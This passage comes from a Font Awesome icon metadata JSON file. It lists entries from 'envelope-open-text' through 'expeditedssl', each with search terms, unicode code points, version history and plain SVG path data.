        "path": "M64 208.1L256 65.9 448 208.1v47.4L289.5 373c-9.7 7.2-21.4 11-33.5 11s-23.8-3.9-33.5-11L64 255.5V208.1zM256 0c-12.1 0-23.8 3.9-33.5 11L25.9 156.7C9.6 168.8 0 187.8 0 208.1V448c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V208.1c0-20.3-9.6-39.4-25.9-51.4L289.5 11C279.8 3.9 268.1 0 256 0z"
      },
      "regular": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M255.4 48.2c.2-.1 .4-.2 .6-.2s.4 .1 .6 .2L460.6 194c2.1 1.5 3.4 3.9 3.4 6.5v13.6L291.5 355.7c-20.7 17-50.4 17-71.1 0L48 214.1V200.5c0-2.6 1.2-5 3.4-6.5L255.4 48.2zM48 276.2L190 392.8c38.4 31.5 93.7 31.5 132 0L464 276.2V456c0 4.4-3.6 8-8 8H56c-4.4 0-8-3.6-8-8V276.2zM256 0c-10.2 0-20.2 3.2-28.5 9.1L23.5 154.9C8.7 165.4 0 182.4 0 200.5V456c0 30.9 25.1 56 56 56H456c30.9 0 56-25.1 56-56V200.5c0-18.1-8.7-35.1-23.4-45.6L284.5 9.1C276.2 3.2 266.2 0 256 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M255.4 48.2c.2-.1 .4-.2 .6-.2s.4 .1 .6 .2L460.6 194c2.1 1.5 3.4 3.9 3.4 6.5v13.6L291.5 355.7c-20.7 17-50.4 17-71.1 0L48 214.1V200.5c0-2.6 1.2-5 3.4-6.5L255.4 48.2zM48 276.2L190 392.8c38.4 31.5 93.7 31.5 132 0L464 276.2V456c0 4.4-3.6 8-8 8H56c-4.4 0-8-3.6-8-8V276.2zM256 0c-10.2 0-20.2 3.2-28.5 9.1L23.5 154.9C8.7 165.4 0 182.4 0 200.5V456c0 30.9 25.1 56 56 56H456c30.9 0 56-25.1 56-56V200.5c0-18.1-8.7-35.1-23.4-45.6L284.5 9.1C276.2 3.2 266.2 0 256 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "envelope-open-text": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f658"]
      }
    },
    "changes": [
      "5.3.0",
      "5.10.1",
      "5.12.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "e-mail",
        "email",
        "letter",
        "mail",
        "message",
        "notification",
        "support"
      ]
    },
    "styles": ["solid"],
    "unicode": "f658",
    "label": "Envelope Open Text",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M215.4 96H144 107.8 96v8.8V144v40.4 89L.2 202.5c1.6-18.1 10.9-34.9 25.7-45.8L48 140.3V96c0-26.5 21.5-48 48-48h76.6l49.9-36.9C232.2 3.9 243.9 0 256 0s23.8 3.9 33.5 11L339.4 48H416c26.5 0 48 21.5 48 48v44.3l22.1 16.4c14.8 10.9 24.1 27.7 25.7 45.8L416 273.4v-89V144 104.8 96H404.2 368 296.6 215.4zM0 448V242.1L217.6 403.3c11.1 8.2 24.6 12.7 38.4 12.7s27.3-4.4 38.4-12.7L512 242.1V448v0c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64v0zM176 160H336c8.8 0 16 7.2 16 16s-7.2 16-16 16H176c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64H336c8.8 0 16 7.2 16 16s-7.2 16-16 16H176c-8.8 0-16-7.2-16-16s7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M215.4 96H144 107.8 96v8.8V144v40.4 89L.2 202.5c1.6-18.1 10.9-34.9 25.7-45.8L48 140.3V96c0-26.5 21.5-48 48-48h76.6l49.9-36.9C232.2 3.9 243.9 0 256 0s23.8 3.9 33.5 11L339.4 48H416c26.5 0 48 21.5 48 48v44.3l22.1 16.4c14.8 10.9 24.1 27.7 25.7 45.8L416 273.4v-89V144 104.8 96H404.2 368 296.6 215.4zM0 448V242.1L217.6 403.3c11.1 8.2 24.6 12.7 38.4 12.7s27.3-4.4 38.4-12.7L512 242.1V448v0c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64v0zM176 160H336c8.8 0 16 7.2 16 16s-7.2 16-16 16H176c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64H336c8.8 0 16 7.2 16 16s-7.2 16-16 16H176c-8.8 0-16-7.2-16-16s7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "envelopes-bulk": {
    "aliases": {
      "names": ["mail-bulk"],
      "unicodes": {
        "secondary": ["10f674"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "archive",
        "envelope",
        "letter",
        "post office",
        "postal",
        "postcard",
        "send",
        "stamp",
        "usps"
      ]
    },
    "styles": ["solid"],
    "unicode": "f674",
    "label": "Envelopes Bulk",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767393,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M128 0C110.3 0 96 14.3 96 32V224h96V192c0-35.3 28.7-64 64-64H480V32c0-17.7-14.3-32-32-32H128zM256 160c-17.7 0-32 14.3-32 32v32h96c35.3 0 64 28.7 64 64V416H576c17.7 0 32-14.3 32-32V192c0-17.7-14.3-32-32-32H256zm240 64h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H496c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zM64 256c-17.7 0-32 14.3-32 32v13L187.1 415.9c1.4 1 3.1 1.6 4.9 1.6s3.5-.6 4.9-1.6L352 301V288c0-17.7-14.3-32-32-32H64zm288 84.8L216 441.6c-6.9 5.1-15.3 7.9-24 7.9s-17-2.8-24-7.9L32 340.8V480c0 17.7 14.3 32 32 32H320c17.7 0 32-14.3 32-32V340.8z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M128 0C110.3 0 96 14.3 96 32V224h96V192c0-35.3 28.7-64 64-64H480V32c0-17.7-14.3-32-32-32H128zM256 160c-17.7 0-32 14.3-32 32v32h96c35.3 0 64 28.7 64 64V416H576c17.7 0 32-14.3 32-32V192c0-17.7-14.3-32-32-32H256zm240 64h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H496c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zM64 256c-17.7 0-32 14.3-32 32v13L187.1 415.9c1.4 1 3.1 1.6 4.9 1.6s3.5-.6 4.9-1.6L352 301V288c0-17.7-14.3-32-32-32H64zm288 84.8L216 441.6c-6.9 5.1-15.3 7.9-24 7.9s-17-2.8-24-7.9L32 340.8V480c0 17.7 14.3 32 32 32H320c17.7 0 32-14.3 32-32V340.8z"
      }
    },
    "free": ["solid"]
  },
  "envira": {
    "changes": ["4.6.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["leaf"]
    },
    "styles": ["brands"],
    "unicode": "f299",
    "label": "Envira Gallery",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32c477.6 0 366.6 317.3 367.1 366.3L448 480h-26l-70.4-71.2c-39 4.2-124.4 34.5-214.4-37C47 300.3 52 214.7 0 32zm79.7 46c-49.7-23.5-5.2 9.2-5.2 9.2 45.2 31.2 66 73.7 90.2 119.9 31.5 60.2 79 139.7 144.2 167.7 65 28 34.2 12.5 6-8.5-28.2-21.2-68.2-87-91-130.2-31.7-60-61-118.6-144.2-158.1z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 32c477.6 0 366.6 317.3 367.1 366.3L448 480h-26l-70.4-71.2c-39 4.2-124.4 34.5-214.4-37C47 300.3 52 214.7 0 32zm79.7 46c-49.7-23.5-5.2 9.2-5.2 9.2 45.2 31.2 66 73.7 90.2 119.9 31.5 60.2 79 139.7 144.2 167.7 65 28 34.2 12.5 6-8.5-28.2-21.2-68.2-87-91-130.2-31.7-60-61-118.6-144.2-158.1z"
      }
    },
    "free": ["brands"]
  },
  "equals": {
    "aliases": {
      "unicodes": {
        "composite": ["f52c"],
        "primary": ["f52c"],
        "secondary": ["103d", "10f52c"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Equals Sign", "arithmetic", "even", "match", "math"]
    },
    "styles": ["solid"],
    "unicode": "3d",
    "label": "Equals",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M48 128c-17.7 0-32 14.3-32 32s14.3 32 32 32H400c17.7 0 32-14.3 32-32s-14.3-32-32-32H48zm0 192c-17.7 0-32 14.3-32 32s14.3 32 32 32H400c17.7 0 32-14.3 32-32s-14.3-32-32-32H48z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M48 128c-17.7 0-32 14.3-32 32s14.3 32 32 32H400c17.7 0 32-14.3 32-32s-14.3-32-32-32H48zm0 192c-17.7 0-32 14.3-32 32s14.3 32 32 32H400c17.7 0 32-14.3 32-32s-14.3-32-32-32H48z"
      }
    },
    "free": ["solid"]
  },
  "eraser": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f12d"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.8.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["art", "delete", "remove", "rubber"]
    },
    "styles": ["solid"],
    "unicode": "f12d",
    "label": "Eraser",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M290.7 57.4L57.4 290.7c-25 25-25 65.5 0 90.5l80 80c12 12 28.3 18.7 45.3 18.7H288h9.4H512c17.7 0 32-14.3 32-32s-14.3-32-32-32H387.9L518.6 285.3c25-25 25-65.5 0-90.5L381.3 57.4c-25-25-65.5-25-90.5 0zM297.4 416H288l-105.4 0-80-80L227.3 211.3 364.7 348.7 297.4 416z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M290.7 57.4L57.4 290.7c-25 25-25 65.5 0 90.5l80 80c12 12 28.3 18.7 45.3 18.7H288h9.4H512c17.7 0 32-14.3 32-32s-14.3-32-32-32H387.9L518.6 285.3c25-25 25-65.5 0-90.5L381.3 57.4c-25-25-65.5-25-90.5 0zM297.4 416H288l-105.4 0-80-80L227.3 211.3 364.7 348.7 297.4 416z"
      }
    },
    "free": ["solid"]
  },
  "erlang": {
    "changes": ["5.0.0", "5.0.3", "5.7.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f39d",
    "label": "Erlang",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M87.2 53.5H0v405h100.4c-49.7-52.6-78.8-125.3-78.7-212.1-.1-76.7 24-142.7 65.5-192.9zm238.2 9.7c-45.9.1-85.1 33.5-89.2 83.2h169.9c-1.1-49.7-34.5-83.1-80.7-83.2zm230.7-9.6h.3l-.1-.1zm.3 0c31.4 42.7 48.7 97.5 46.2 162.7.5 6 .5 11.7 0 24.1H230.2c-.2 109.7 38.9 194.9 138.6 195.3 68.5-.3 118-51 151.9-106.1l96.4 48.2c-17.4 30.9-36.5 57.8-57.9 80.8H640v-405z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M87.2 53.5H0v405h100.4c-49.7-52.6-78.8-125.3-78.7-212.1-.1-76.7 24-142.7 65.5-192.9zm238.2 9.7c-45.9.1-85.1 33.5-89.2 83.2h169.9c-1.1-49.7-34.5-83.1-80.7-83.2zm230.7-9.6h.3l-.1-.1zm.3 0c31.4 42.7 48.7 97.5 46.2 162.7.5 6 .5 11.7 0 24.1H230.2c-.2 109.7 38.9 194.9 138.6 195.3 68.5-.3 118-51 151.9-106.1l96.4 48.2c-17.4 30.9-36.5 57.8-57.9 80.8H640v-405z"
      }
    },
    "free": ["brands"]
  },
  "ethereum": {
    "changes": ["5.0.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f42e",
    "label": "Ethereum",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M311.9 260.8L160 353.6 8 260.8 160 0l151.9 260.8zM160 383.4L8 290.6 160 512l152-221.4-152 92.8z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M311.9 260.8L160 353.6 8 260.8 160 0l151.9 260.8zM160 383.4L8 290.6 160 512l152-221.4-152 92.8z"
      }
    },
    "free": ["brands"]
  },
  "ethernet": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f796"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "cable",
        "cat 5",
        "cat 6",
        "connection",
        "hardware",
        "internet",
        "network",
        "wired"
      ]
    },
    "styles": ["solid"],
    "unicode": "f796",
    "label": "Ethernet",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 224V416c0 17.7 14.3 32 32 32H96V336c0-8.8 7.2-16 16-16s16 7.2 16 16V448h64V336c0-8.8 7.2-16 16-16s16 7.2 16 16V448h64V336c0-8.8 7.2-16 16-16s16 7.2 16 16V448h64V336c0-8.8 7.2-16 16-16s16 7.2 16 16V448h64c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32H448V160c0-17.7-14.3-32-32-32H384V96c0-17.7-14.3-32-32-32H160c-17.7 0-32 14.3-32 32v32H96c-17.7 0-32 14.3-32 32v32H32c-17.7 0-32 14.3-32 32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 224V416c0 17.7 14.3 32 32 32H96V336c0-8.8 7.2-16 16-16s16 7.2 16 16V448h64V336c0-8.8 7.2-16 16-16s16 7.2 16 16V448h64V336c0-8.8 7.2-16 16-16s16 7.2 16 16V448h64V336c0-8.8 7.2-16 16-16s16 7.2 16 16V448h64c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32H448V160c0-17.7-14.3-32-32-32H384V96c0-17.7-14.3-32-32-32H160c-17.7 0-32 14.3-32 32v32H96c-17.7 0-32 14.3-32 32v32H32c-17.7 0-32 14.3-32 32z"
      }
    },
    "free": ["solid"]
  },
  "etsy": {
    "changes": ["4.7.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2d7",
    "label": "Etsy",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M384 348c-1.75 10.75-13.75 110-15.5 132-117.879-4.299-219.895-4.743-368.5 0v-25.5c45.457-8.948 60.627-8.019 61-35.25 1.793-72.322 3.524-244.143 0-322-1.029-28.46-12.13-26.765-61-36v-25.5c73.886 2.358 255.933 8.551 362.999-3.75-3.5 38.25-7.75 126.5-7.75 126.5H332C320.947 115.665 313.241 68 277.25 68h-137c-10.25 0-10.75 3.5-10.75 9.75V241.5c58 .5 88.5-2.5 88.5-2.5 29.77-.951 27.56-8.502 40.75-65.251h25.75c-4.407 101.351-3.91 61.829-1.75 160.25H257c-9.155-40.086-9.065-61.045-39.501-61.5 0 0-21.5-2-88-2v139c0 26 14.25 38.25 44.25 38.25H263c63.636 0 66.564-24.996 98.751-99.75H384z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M384 348c-1.75 10.75-13.75 110-15.5 132-117.879-4.299-219.895-4.743-368.5 0v-25.5c45.457-8.948 60.627-8.019 61-35.25 1.793-72.322 3.524-244.143 0-322-1.029-28.46-12.13-26.765-61-36v-25.5c73.886 2.358 255.933 8.551 362.999-3.75-3.5 38.25-7.75 126.5-7.75 126.5H332C320.947 115.665 313.241 68 277.25 68h-137c-10.25 0-10.75 3.5-10.75 9.75V241.5c58 .5 88.5-2.5 88.5-2.5 29.77-.951 27.56-8.502 40.75-65.251h25.75c-4.407 101.351-3.91 61.829-1.75 160.25H257c-9.155-40.086-9.065-61.045-39.501-61.5 0 0-21.5-2-88-2v139c0 26 14.25 38.25 44.25 38.25H263c63.636 0 66.564-24.996 98.751-99.75H384z"
      }
    },
    "free": ["brands"]
  },
  "euro-sign": {
    "aliases": {
      "names": ["eur", "euro"],
      "unicodes": {
        "composite": ["20ac"],
        "secondary": ["10f153"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Euro Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "f153",
    "label": "Euro Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M48.1 240c-.1 2.7-.1 5.3-.1 8v16c0 2.7 0 5.3 .1 8H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H60.3C89.9 419.9 170 480 264 480h24c17.7 0 32-14.3 32-32s-14.3-32-32-32H264c-57.9 0-108.2-32.4-133.9-80H256c17.7 0 32-14.3 32-32s-14.3-32-32-32H112.2c-.1-2.6-.2-5.3-.2-8V248c0-2.7 .1-5.4 .2-8H256c17.7 0 32-14.3 32-32s-14.3-32-32-32H130.1c25.7-47.6 76-80 133.9-80h24c17.7 0 32-14.3 32-32s-14.3-32-32-32H264C170 32 89.9 92.1 60.3 176H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H48.1z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M48.1 240c-.1 2.7-.1 5.3-.1 8v16c0 2.7 0 5.3 .1 8H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H60.3C89.9 419.9 170 480 264 480h24c17.7 0 32-14.3 32-32s-14.3-32-32-32H264c-57.9 0-108.2-32.4-133.9-80H256c17.7 0 32-14.3 32-32s-14.3-32-32-32H112.2c-.1-2.6-.2-5.3-.2-8V248c0-2.7 .1-5.4 .2-8H256c17.7 0 32-14.3 32-32s-14.3-32-32-32H130.1c25.7-47.6 76-80 133.9-80h24c17.7 0 32-14.3 32-32s-14.3-32-32-32H264C170 32 89.9 92.1 60.3 176H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H48.1z"
      }
    },
    "free": ["solid"]
  },
  "evernote": {
    "changes": ["5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f839",
    "label": "Evernote",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M120.82 132.21c1.6 22.31-17.55 21.59-21.61 21.59-68.93 0-73.64-1-83.58 3.34-.56.22-.74 0-.37-.37L123.79 46.45c.38-.37.6-.22.38.37-4.35 9.99-3.35 15.09-3.35 85.39zm79 308c-14.68-37.08 13-76.93 52.52-76.62 17.49 0 22.6 23.21 7.95 31.42-6.19 3.3-24.95 1.74-25.14 19.2-.05 17.09 19.67 25 31.2 24.89A45.64 45.64 0 0 0 312 393.45v-.08c0-11.63-7.79-47.22-47.54-55.34-7.72-1.54-65-6.35-68.35-50.52-3.74 16.93-17.4 63.49-43.11 69.09-8.74 1.94-69.68 7.64-112.92-36.77 0 0-18.57-15.23-28.23-57.95-3.38-15.75-9.28-39.7-11.14-62 0-18 11.14-30.45 25.07-32.2 81 0 90 2.32 101-7.8 9.82-9.24 7.8-15.5 7.8-102.78 1-8.3 7.79-30.81 53.41-24.14 6 .86 31.91 4.18 37.48 30.64l64.26 11.15c20.43 3.71 70.94 7 80.6 57.94 22.66 121.09 8.91 238.46 7.8 238.46C362.15 485.53 267.06 480 267.06 480c-18.95-.23-54.25-9.4-67.27-39.83zm80.94-204.84c-1 1.92-2.2 6 .85 7 14.09 4.93 39.75 6.84 45.88 5.53 3.11-.25 3.05-4.43 2.48-6.65-3.53-21.85-40.83-26.5-49.24-5.92z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M120.82 132.21c1.6 22.31-17.55 21.59-21.61 21.59-68.93 0-73.64-1-83.58 3.34-.56.22-.74 0-.37-.37L123.79 46.45c.38-.37.6-.22.38.37-4.35 9.99-3.35 15.09-3.35 85.39zm79 308c-14.68-37.08 13-76.93 52.52-76.62 17.49 0 22.6 23.21 7.95 31.42-6.19 3.3-24.95 1.74-25.14 19.2-.05 17.09 19.67 25 31.2 24.89A45.64 45.64 0 0 0 312 393.45v-.08c0-11.63-7.79-47.22-47.54-55.34-7.72-1.54-65-6.35-68.35-50.52-3.74 16.93-17.4 63.49-43.11 69.09-8.74 1.94-69.68 7.64-112.92-36.77 0 0-18.57-15.23-28.23-57.95-3.38-15.75-9.28-39.7-11.14-62 0-18 11.14-30.45 25.07-32.2 81 0 90 2.32 101-7.8 9.82-9.24 7.8-15.5 7.8-102.78 1-8.3 7.79-30.81 53.41-24.14 6 .86 31.91 4.18 37.48 30.64l64.26 11.15c20.43 3.71 70.94 7 80.6 57.94 22.66 121.09 8.91 238.46 7.8 238.46C362.15 485.53 267.06 480 267.06 480c-18.95-.23-54.25-9.4-67.27-39.83zm80.94-204.84c-1 1.92-2.2 6 .85 7 14.09 4.93 39.75 6.84 45.88 5.53 3.11-.25 3.05-4.43 2.48-6.65-3.53-21.85-40.83-26.5-49.24-5.92z"
      }
    },
    "free": ["brands"]
  },
  "exclamation": {
    "aliases": {
      "unicodes": {
        "composite": ["2755", "2757", "f12a"],
        "primary": ["f12a"],
        "secondary": ["1021", "10f12a"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "!",
        "Exclamation Mark",
        "alert",
        "danger",
        "error",
        "exclamation",
        "important",
        "mark",
        "notice",
        "notification",
        "notify",
        "outlined",
        "problem",
        "punctuation",
        "red exclamation mark",
        "warning",
        "white exclamation mark"
      ]
    },
    "styles": ["solid"],
    "unicode": "21",
    "label": "Exclamation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 64 512\"><path d=\"M64 64c0-17.7-14.3-32-32-32S0 46.3 0 64V320c0 17.7 14.3 32 32 32s32-14.3 32-32V64zM32 480a40 40 0 1 0 0-80 40 40 0 1 0 0 80z\"/></svg>",
        "viewBox": [0, 0, 64, 512],
        "width": 64,
        "height": 512,
        "path": "M64 64c0-17.7-14.3-32-32-32S0 46.3 0 64V320c0 17.7 14.3 32 32 32s32-14.3 32-32V64zM32 480a40 40 0 1 0 0-80 40 40 0 1 0 0 80z"
      }
    },
    "free": ["solid"]
  },
  "expand": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f065"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bigger",
        "crop",
        "enlarge",
        "focus",
        "fullscreen",
        "resize",
        "viewfinder"
      ]
    },
    "styles": ["solid"],
    "unicode": "f065",
    "label": "Expand",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M32 32C14.3 32 0 46.3 0 64v96c0 17.7 14.3 32 32 32s32-14.3 32-32V96h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H32zM64 352c0-17.7-14.3-32-32-32s-32 14.3-32 32v96c0 17.7 14.3 32 32 32h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H64V352zM320 32c-17.7 0-32 14.3-32 32s14.3 32 32 32h64v64c0 17.7 14.3 32 32 32s32-14.3 32-32V64c0-17.7-14.3-32-32-32H320zM448 352c0-17.7-14.3-32-32-32s-32 14.3-32 32v64H320c-17.7 0-32 14.3-32 32s14.3 32 32 32h96c17.7 0 32-14.3 32-32V352z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M32 32C14.3 32 0 46.3 0 64v96c0 17.7 14.3 32 32 32s32-14.3 32-32V96h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H32zM64 352c0-17.7-14.3-32-32-32s-32 14.3-32 32v96c0 17.7 14.3 32 32 32h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H64V352zM320 32c-17.7 0-32 14.3-32 32s14.3 32 32 32h64v64c0 17.7 14.3 32 32 32s32-14.3 32-32V64c0-17.7-14.3-32-32-32H320zM448 352c0-17.7-14.3-32-32-32s-32 14.3-32 32v64H320c-17.7 0-32 14.3-32 32s14.3 32 32 32h96c17.7 0 32-14.3 32-32V352z"
      }
    },
    "free": ["solid"]
  },
  "expeditedssl": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f23e",
    "label": "ExpeditedSSL",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014477,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 43.4C130.6 43.4 35.4 138.6 35.4 256S130.6 468.6 248 468.6 460.6 373.4 460.6 256 365.4 43.4 248 43.4zm-97.4 132.9c0-53.7 43.7-97.4 97.4-97.4s97.4 43.7 97.4 97.4v26.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-26.6c0-82.1-124-82.1-124 0v26.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-26.6zM389.7 380c0 9.7-8 17.7-17.7 17.7H124c-9.7 0-17.7-8-17.7-17.7V238.3c0-9.7 8-17.7 17.7-17.7h248c9.7 0 17.7 8 17.7 17.7V380zm-248-137.3v132.9c0 2.5-1.9 4.4-4.4 4.4h-8.9c-2.5 0-4.4-1.9-4.4-4.4V242.7c0-2.5 1.9-4.4 4.4-4.4h8.9c2.5 0 4.4 1.9 4.4 4.4zm141.7 48.7c0 13-7.2 24.4-17.7 30.4v31.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-31.6c-10.5-6.1-17.7-17.4-17.7-30.4 0-19.7 15.8-35.4 35.4-35.4s35.5 15.8 35.5 35.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 478.3C121 486.3 17.7 383 17.7 256S121 25.7 248 25.7 478.3 129 478.3 256 375 486.3 248 486.3z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M248 43.4C130.6 43.4 35.4 138.6 35.4 256S130.6 468.6 248 468.6 460.6 373.4 460.6 256 365.4 43.4 248 43.4zm-97.4 132.9c0-53.7 43.7-97.4 97.4-97.4s97.4 43.7 97.4 97.4v26.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-26.6c0-82.1-124-82.1-124 0v26.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-26.6zM389.7 380c0 9.7-8 17.7-17.7 17.7H124c-9.7 0-17.7-8-17.7-17.7V238.3c0-9.7 8-17.7 17.7-17.7h248c9.7 0 17.7 8 17.7 17.7V380zm-248-137.3v132.9c0 2.5-1.9 4.4-4.4 4.4h-8.9c-2.5 0-4.4-1.9-4.4-4.4V242.7c0-2.5 1.9-4.4 4.4-4.4h8.9c2.5 0 4.4 1.9 4.4 4.4zm141.7 48.7c0 13-7.2 24.4-17.7 30.4v31.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-31.6c-10.5-6.1-17.7-17.4-17.7-30.4 0-19.7 15.8-35.4 35.4-35.4s35.5 15.8 35.5 35.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 478.3C121 486.3 17.7 383 17.7 256S121 25.7 248 25.7 478.3 129 478.3 256 375 486.3 248 486.3z"
      }
    },
    "free": ["brands"]
  },
  "explosion": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
